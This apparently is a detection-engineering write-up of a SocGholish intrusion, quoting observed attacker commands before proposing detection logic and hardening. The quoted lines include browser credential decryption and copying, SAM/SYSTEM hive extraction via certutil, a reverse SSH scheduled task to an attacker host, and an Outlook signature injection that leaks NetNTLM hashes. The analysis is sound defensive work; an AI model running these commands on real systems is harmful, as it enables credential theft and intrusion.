Detection Engineering Lense: Crafting Detections on IAB Behavior
High-level Overview: We will review a SocGholish (FakeUpdates) intrusion, which progressed to late-stage activity after a dwell time of roughly 30 days. There was a suspected hand-off to a secondary threat actor, presumably an operator associated with RansomHub Ransomware-as-a-Service (RaaS). We are going to review the intrusion with the lense of Detection Engineering.
I suspect those in threat hunting/intel have some interest in the full narrative, so I’ll attempt to speed through the intrusion at a high level.
Pre-Delivery / Site Compromise
- A Canadian Outdoor magazine WordPress site was compromised
- Whether this was a result of compromised credentials or exploited vulnerability with the site or installed plugins is unknown.
- Javascript for a traffic distribution system (TDS) was injected into site
Delivery
- User visits the compromised WordPress site (Canadian Outdoor magazine)
- User clicks “Update Browser” when prompted
- This downloads and promptly executes Update.js from Chrome
Note: There was no direct user execution. This was direct from Chrome.exe -> wscript.exe (Update.js)
Detonation
- Update.js makes determination whether host is domain-joined
- If it is not domain joined, TA582 deploys AsyncRat or BOINC Rat
- If it is domain-joined (the scenario discussed here)
- Invokes discovery commands
- Deploys a second stage profiling script
\AppData\Local\Temp\1\852bf403.js
It then writes the task \OneDrive Per-Machine Standalone Update Task, and proceeds to run enumeration commands through the OneDriveStandaloneUpdater.exe binary. The TA also performs an injection into RtkAudUService64.exe to run four separate discovery commands (i.e. nltest)
The initial access broker (IAB) has a foothold established under a single user context with the OneDriveStandaloneUpdater binary for issuing Hands-on-Keyboard commands. They likely proceed to hand off access to an affiliate Ransomware-as-a-Service (RaaS) operator.
This first spurt of behavior occurred on December 10th to December 13th. Up to this point, all behavior spawned from the following parent processes:
"C:\Windows\System32\WScript.exe" "C:\Users\username\Downloads\Uрdate.js"
"C:\Windows\System32\wscript.exe" "C:\Users\username\AppData\Local\Temp\1\852bf403.js"
"C:\Windows\System32\DriverStore\FileRepository\realtekservice.inf_amd64\RtkAudUService64.exe" -background
C:\Users\username\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe
IAB spawned commands
Discovery / Enumeration
ipconfig /all
systeminfo
schtasks /query /fo LIST /v
findstr "OneDrive"
net accounts /domain
net use
net user /domain
ping -n 1 domain_controller
dir C:\users\username\*vpn /s
net user username /domain
net group "domain users" /domain
net localgroup administrators
net users /domain
net group "Domain Admins" /domain
ping -n 1 domain_controller
ping domain_controller
ping file_share_svr
ping domain_controller
ping -n 1 server
ping server
taskkill /f /im onedrivestandaloneupdater.exe
taskkill /f /im onedrive.exe
tasklist
tasklist /v
findstr pythonw.exe
nltest /domain_trusts
nltest /dclist:
net group "DOmain Admins" /domain
powershell -c "$searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]''); $searcher.Filter = '(&(objectCategory=person)(objectClass=user)(mail=*))'; $searcher.PageSize = 1000; $searcher.PropertiesToLoad.Add('mail') > $null; $domains = $searcher.FindAll() | ForEach-Object { $_.Properties['mail'][0] -replace '^[^@]+@', '' }; $domains | Group-Object | Sort-Object Count -Descending | ForEach-Object { '{0,-20} | {1}' -f $_.Name, $_.Count }"
powershell -c "$searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]''); $searcher.Filter = '(&(objectCategory=computer)(operatingSystem=*Server*))'; $searcher.PageSize = 1000; $searcher.PropertiesToLoad.Add('dnshostname') > $null; $searcher.FindAll() | ForEach-Object { $_.Properties['dnshostname'][0] }"
Credential Stealing
POWErshell "( NEw-oBJEcT systeM.iO.stREAMReAdEr(( NEw-oBJEcT SYsTEm.Io.CoMpReSSIOn.DeflAtEsTReAM([SYSTem.Io.meMORYSTREaM][sysTeM.CONverT]::FrOMBAse64STRiNG( '7Rxrc9u48Xtm8h8QTdqhzjJPkh3Hjc/pKbaSaM6vsZRcW8f1UCIksaFIHh+21TT/='),[Io.CoMPrEssIoN.CoMPREssIOnMode]::dEcOMprEsS )), [syStem.teXt.eNcOdINg]::AsciI)).ReaDtoeNd( )| & ( $ShElLID[1]+$ShEllId[13]+'X')"
powershell -c "$2=((gc "C:\Users\username\AppData\Local\Microsoft\Edge\'User Data'\'Local State'").split(',')-replace'app_bound_encrypted_key',''|sls encrypted_key)-replace'\"}','' -replace'\"encrypted_key\":\"','' -replace '\"os_crypt\":{','';$3=[System.Convert]::FromBase64String($2);$3=$3[5..($3.length-1)];Add-Type -AssemblyName System.Security;[System.Security.Cryptography.ProtectedData]::Unprotect($3,$null,[Security.Cryptography.DataProtectionScope]::CurrentUser)"
powershell -c "$2=((gc "C:\Users\username\AppData\Local\Google\Chrome\'User Data'\'Local State'").split(',')-replace'app_bound_encrypted_key',''|sls encrypted_key)-replace'\"}','' -replace'\"encrypted_key\":\"','' -replace '\"os_crypt\":{','';$3=[System.Convert]::FromBase64String($2);$3=$3[5..($3.length-1)];Add-Type -AssemblyName System.Security;[System.Security.Cryptography.ProtectedData]::Unprotect($3,$null,[Security.Cryptography.DataProtectionScope]::CurrentUser)"
powershell -c dir "$env:APPDATA\Mozilla\Firefox\Profiles\*logins.json"
copy "C:\Users\username\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" C:\Users\username\AppData\Local\0395edg.bin&
copy "C:\Users\username\AppData\Local\Google\Chrome\User Data\Default\Login Data" C:\Users\username\AppData\Local\0396chr.bin
Staging
powershell wget payload
"C:\Windows\System32\cmd.exe" /C rename "C:\Users\username\AppData\Local\Temp\1\rad44713.tmp" "853cf503.js"
"C:\Windows\System32\cmd.exe" /C copy "C:\Program Files\Microsoft OneDrive\OneDriveStandaloneUpdater.exe" C:\Users\username\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe >> "C:\Users\username\AppData\Local\Temp\1\radC3509.tmp"
cmd.exe /c C:\Users\username\AppData\Local\Microsoft\OneDrive\OneDriveStandaloneUpdater.exe
"C:\Windows\System32\cmd.exe" /C rename "C:\Users\username\AppData\Local\Microsoft\OneDrive\radDB4A6.tmp" "version.dll"
"C:\Windows\System32\cmd.exe" /C rename "C:\Users\username\AppData\Local\Microsoft\OneDrive\rad71AEF.tmp" "tmp44BC.dll"
curl.exe https://www.python[.]org/ftp/python/3.12.0/python-3.12.0-embed-amd64.zip -o C:\Users\username\AppData\Local\python3.12.zip
tar -xf C:\Users\username\AppData\Local\python3.12.zip -C C:\Users\username\AppData\Local\python3.12\
curl.exe https://bootstrap.pypa[.]io/pip/pip.pyz -o C:\Users\username\AppData\Local\python3.12\pip.pyz
C:\Users\username\AppData\Local\python3.12\pythonw.exe C:\Users\username\AppData\Local\python3.12\pip.pyz --trusted-host files.pythonhosted.org --trusted-host pypi.org install pycryptodome virtualenv requests pipx --upgrade pip --no-warn-script-location
Persistence
schtasks /run /tn "python-pip"
schtasks /query /tn "python-pip" /v /fo list
powershell $a = New-ScheduledTaskAction -WorkingDirectory 'C:\Users\username\AppData\Local\Microsoft\OneDrive' -Execute 'OneDriveStandaloneUpdater.exe';$t = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1);$s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit '00:00:00' -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries;Register-ScheduledTask -TaskName 'OneDriveStandaloneUpdater' -Action $a -Trigger $t -Settings $s
powershell $a = New-ScheduledTaskAction -WorkingDirectory 'C:\Users\username\AppData\Local\python3.12' -Execute 'pythonw.exe' -Argument 'popy.py';$t = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1);$s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit '00:00:00' -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries;Register-ScheduledTask -TaskName 'python-pip' -Action $a -Trigger $t -Settings $s
Switching Hands - Raas Operator enters the scene
Although this was stopped before actions on objective were achieved, I suspect that the operator was associated and had the intent to deploy a RansomHub (RaaS) payload.
After a dwell time of roughly 30 days, the presumable ransomware operator proceeds to move laterally with their foothold established from the IAB.
Discovery / Enumeration
netstat -a
netstat
tracert $IPv4
tracert $domain
nslookup $domain
ipconfig /flushdns
tracert yahoo.com
ping yahoo.com
ping $domain
net user $username /domain
net user $username
net users
net localgroup administrators
dir \\$netdrive\c$
quser
qwinsta /server
Persistence
schtasks /create /tn "Update" /tr "ssh.exe -R 7777 -p 443 -o StrictHostKeyChecking=no user@$IPv4" /sc minute /mo 5 /ru SYSTEM
schtasks /run /tn "Update"
reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{}\InprocServer32" /ve /t REG_SZ /d "C:\Users\username\AppData\Local\Temp\msedge.dll" /f
powershell $a = New-ScheduledTaskAction -WorkingDirectory 'C:\Users\username\AppData\Local\ConnectedDevicesPlatform\get-pip' -Execute 'pythonw.exe' -Argument 'py1.py';$t = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 1);$s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit '00:00:00' -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries;Register-ScheduledTask -TaskName 'fontdrvr1' -User 'System' -Action $a -Trigger $t -Settings $s
Various persistence names were observed as the TA moved laterally. These are some of the naming conventions that were applied:
- \fontdrvr1
- \User_Feed_Synchronization-{CLSID}
- \User_Feed_Synchronization-{CLSID}
- \MicrosoftEdgeUpdateTaskMachineCore{CLSID}
- \MicrosoftEdgeUpdateTaskMachineUA{CLSID}
- \OneDrive Standalone Update Task-S-1-5-21-…
- \OneDrive Standalone Update Task-S-1-5-21-…
- \OneDrive Reporting Task-S-1-5-21-…
- \Update
- \libffi
- \libfi
Note: All observed persistence mechanisms were related to Reverse SSH or proxy clients written in python, obfuscated with pyobfuscate[.]com
Email Signature Injection
The technique injects a malicious SMB URL (file://$IPv4/s
) into the email signature. When Outlook renders this signature, it attempts to connect to the specified SMB share. This connection attempt causes the system to send the user’s NetNTLM hash to the attacker-controlled server, allowing for potential credential theft or relay attacks.
powershell.exe cat $env:APPDATA\Microsoft\Signatures\*.htm
powershell -Command "Get-ChildItem "$env:APPDATA\Microsoft\Signatures\*.htm" | ForEach-Object { $content = Get-Content -Raw $_.FullName; $updatedContent = $content -replace '</body>', '<img src="file://$IPv4/s"></body>'; Set-Content -Path $_.FullName -Value $updatedContent }"
Spoken differently, this would route peer and victim email clients over SMB (Port 445) to dump NetNTLM hashes. This technique allowed the TA to perform Email Contact Reconnaissance.
Think of this conceptually as capturing a WiFi authentication handshake. Read more about this technique here.
Credential Stealing
powershell -c "$2=((gc "%localappdata%\Microsoft\Edge\'User Data'\'Local State'").split(',')-replace'app_bound_encrypted_key',''|sls encrypted_key)..."
copy "%localappdata%\Google\Chrome\User Data\Default\Login Data" C:\programdata\0396chr.bin
copy "%localappdata%\Microsoft\Edge\User Data\Default\Login Data" C:\programdata\0395edg.bin
vssadmin list shadows
certutil -encode \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1255\windows\system32\config\security c:\se1.txt
certutil -encode \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1255\windows\system32\config\system c:\sy1.txt
certutil -encode \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1255\windows\system32\config\sam c:\sa1.txt
Covering Tracks / Evasion
del c:\programdata\0395edg.bin
del c:\programdata\0396chr.bin
del C:\Programdata\domain_1.txt
del C:\Programdata\domain_2.txt
del C:\Programdata\server.txt
Swapping Lenses
Now that we have gotten passed the narrative for the threat intelligence folks, lets change focus to cutting off future infections at the knees.
The unfortunate reality is that Detection Engineering is often nuanced, and rules that function in some environments cannot universally be applied. These ideas are taking the perspective of an intrusion that impacts a Fortune 500 company, and this likely will have minimal takeaways from the EDR vendor perspective.
I’ve learned a few recurring themes over the past several months:
- Do not compete with your EDR
- Complement the detection stack with hardening
- There is a limited amount of detection rules (bullets) to fire
- Every detection has an imposed cost, both in response time and maintenance
This said, let’s pivot to detection opportunities.
Hunting / Detection Opportunities
Detection 1: Targeting Delivery
Targeting initial access has always been a favorite of mine. In my opinion, this is where detection engineering has the highest reward output. There are a limited number of ways into a network, and the bad actors have to get increasingly more creative.
As explained above, the delivery required minimal user interaction, making these Javascript (JS) based campaigns particularly insidious for corporate environments where the default Windows systems default-open JS with wscript.exe.
Flag on script hosts or shell sessions spawning from the browser
- parent.process.name contains (‘chrome’,‘msedge’,‘firefox’,‘chromium’,‘vivaldi’,‘iexplore’)
- child.process.name in (‘wscript.exe’,‘cscript.exe’,‘powershell.exe’,‘powershell_ise.exe’,‘mshta.exe’)
While the main goal of this was to catch the execution of wscript.exe (Update.js) directly from a browser process, I was able to scope out additional executions that could be deemed suspicious or compliance policy issues with minimal noise.
Note: You may notice that cmd.exe is missing. Unfortunately, there is far too much noise in most environments to hone in on cmd.exe directly, without some extreme filtering. This may be feasible in a small and medium-sized business, however it was not achievable in my specific environment.
Detection 2: Output Piped to temporary (.tmp) files
Nearly all commands from the IAB forwarded data (>>
) to .tmp files under %AppData%
- parent.process.name:
"C:\Windows\System32\WScript.exe" "C:\Users\username\Downloads\Uрdate.js"
- child.process:
"C:\Windows\System32\cmd.exe" /C net accounts /domain >> "C:\Users\username\AppData\Local\Temp\1\rad0BC6C.tmp"
While this may technically violate the lesson of competing with your EDR, there is potential to flag on this behavior more broadly with the context of it being Suspicious Here.
EDR vendors typically have rules in place targeting piped output to temporary files under %AppData%
via specific script hosts such as wscript.exe
. However, given that we don’t have to inherently worry about false positive ratios from tens of thousands of organizations, we can baseline this behavior across our environment and cast a wider net.
This said, we could proceed with querying our environment for historical data with something resembling this search:
- parent.process.name in:anycase (‘wscript.exe’, ‘cscript.exe’)
- child.process.name in:anycase (‘cmd.exe’, ‘powershell.exe’,‘powershell_ise.exe’)
- child.process.cmdline contains ‘»’ AND child.process.cmdline contains ‘.tmp’
In this scenario, my specific environment was not active with behavior piping data to the .tmp
files, and getting more granular with the %AppData%
directory was not necessary. I could also broaden the scope further with both parent or child processes.
That said, intrusions like these play a wonderful role in back-testing our existing rules, querying true positive data, and evaluating new detection logic. Never let a crisis go to waste.
Detection 3: Clustering Endpoint Enumeration and Discovery
The general idea is to perform a correlation search / query that clusters behavior over 10 minute interval with enumeration commands.
Query 1 - Requires a single match
- parent.process.name in:anycase (‘cmd.exe’, ‘powershell.exe’,‘powershell_ise.exe’)
- child.process.name in:anycase (‘systeminfo.exe’, ‘whoami.exe’,‘ipconfig.exe’)
Query 2 - Requires a single match
- parent.process.name in:anycase (‘cmd.exe’, ‘powershell.exe’,‘powershell_ise.exe’)
- child.process.name in:anycase (’nltest.exe’, ’net.exe’)
- child.process.cmdline contains (’net view /all’,’net config workstation’,‘get displayname’,‘domain_trusts’,‘domain computers’,‘domain admins’)
Simulating this query logic against 90 days of historical data flagged on only the red team and a single true positive intrusion. But remember, detection engineering isn’t a one-size-fits-all. This specific logic might not work for many other environments. It’s all about tailoring your approach to your unique setup.
For instance, in my environment, the commands ipconfig /all
and net localgroup Administrators
were frequently called by a wide variety of agents, causing multiple false positive alerts to fire in a day. It’s all about determining the appropriate amount of coverage versus noise.
Detection 4: Clustering Enumeration and Persistence
- Clustering enumeration commands with setting persistence
- quser, qwinsta, ping, netstat, tracert, ipconfig, nltest, findstr, reg query
- reg add, schtasks /create, Set-WmiInstance, etc.
This idea is still actively being panned out. I suspect it will follow suit to Detection 3, although with slightly different criteria for matching the creation of persistence with a suspicious enumeration command over a 10 minute interval.
Detection 5: Leveraging Built-in Alerts
A detection strategy’s effectiveness ultimately hinges on the reliability of your data sources. In this scenario, we encountered significant asset visibility challenges with a tool designed to parse, monitor, and alert based on Windows event logging.
Given the substantial gaps in logging from domain controllers, I implemented a complementary rule leveraging the EDR layer, targeting LDAPKerberoastableSpns, PowersploitKerberoast, and ManySPNRequestsWithRubeusLdapQuery.
This new rule provides comparable coverage for detecting Kerberoasting attacks, ensuring we maintain security monitoring despite limitations in our primary logging system.
Mapping via Canvas
Detection Wrap Up
I’m certain there are plenty of additional takeaways one could make from this intrusion. In the same way that a picture is worth a thousand words, an intrusion could rack up its fair share of post-mortem detection rules.
There will always be more opportunities to flag on. For instance, I didn’t even touch on flagging the email signature injection, SMB traffic from an email client, file modification of browser credentials (Login Data), querying for registry keys (Terminal Server Client), etc.
Some rules are more precise, focusing on specific behaviors with high accuracy but potentially missing some incidents. Others have more recall, casting a wider net to catch more potential threats but possibly including false positives.
The list of both ideas and considerations goes on, but I hope this at least opened up some of the thought process behind Detection Engineering. It’s an ongoing process of refinement and adaptation, always seeking to stay one step ahead of evolving threats.
Hardening
I’ll separate by priority for these recommendations. With priority 1 items, these will be ease of implementation and large impact, while priority 2 may require a little more complexity, grunt work, and advocacy to push forward.
Priority 1
- Default-open script files with notepad.exe
- Block SMB traffic at network boundaries
- Enforce SMB signing and encryption
- Disable NTLMv1 authentication
Priority 2
- Enable SMB 3.0 or later for improved security features
- Transition from NTLM to Kerberos authentication
- Implement DNS-based ad blocking (DNS sinkholing)
- Force Always-On VPN
- Ensure Firewall/VPN security mitigations are in play
- Endpoint Detection Response Management
- Agents must be monitored for good health
- Agents kept closely following the released update if not set to Auto-Update
- Block script and remote Powershell executions from non-administrators
- Deploy browser isolation technologies
Sometimes the most simple mitigations are the best. These measures create multiple layers of defense, making it more challenging for threat actors to succeed and reducing the burden on our end users.
Acknowledgements
Special thanks go out to monitorsg for helping understand the infection stages in detail, along with RussianPanda for pointers on decoding one of the obfuscated proxy client scripts.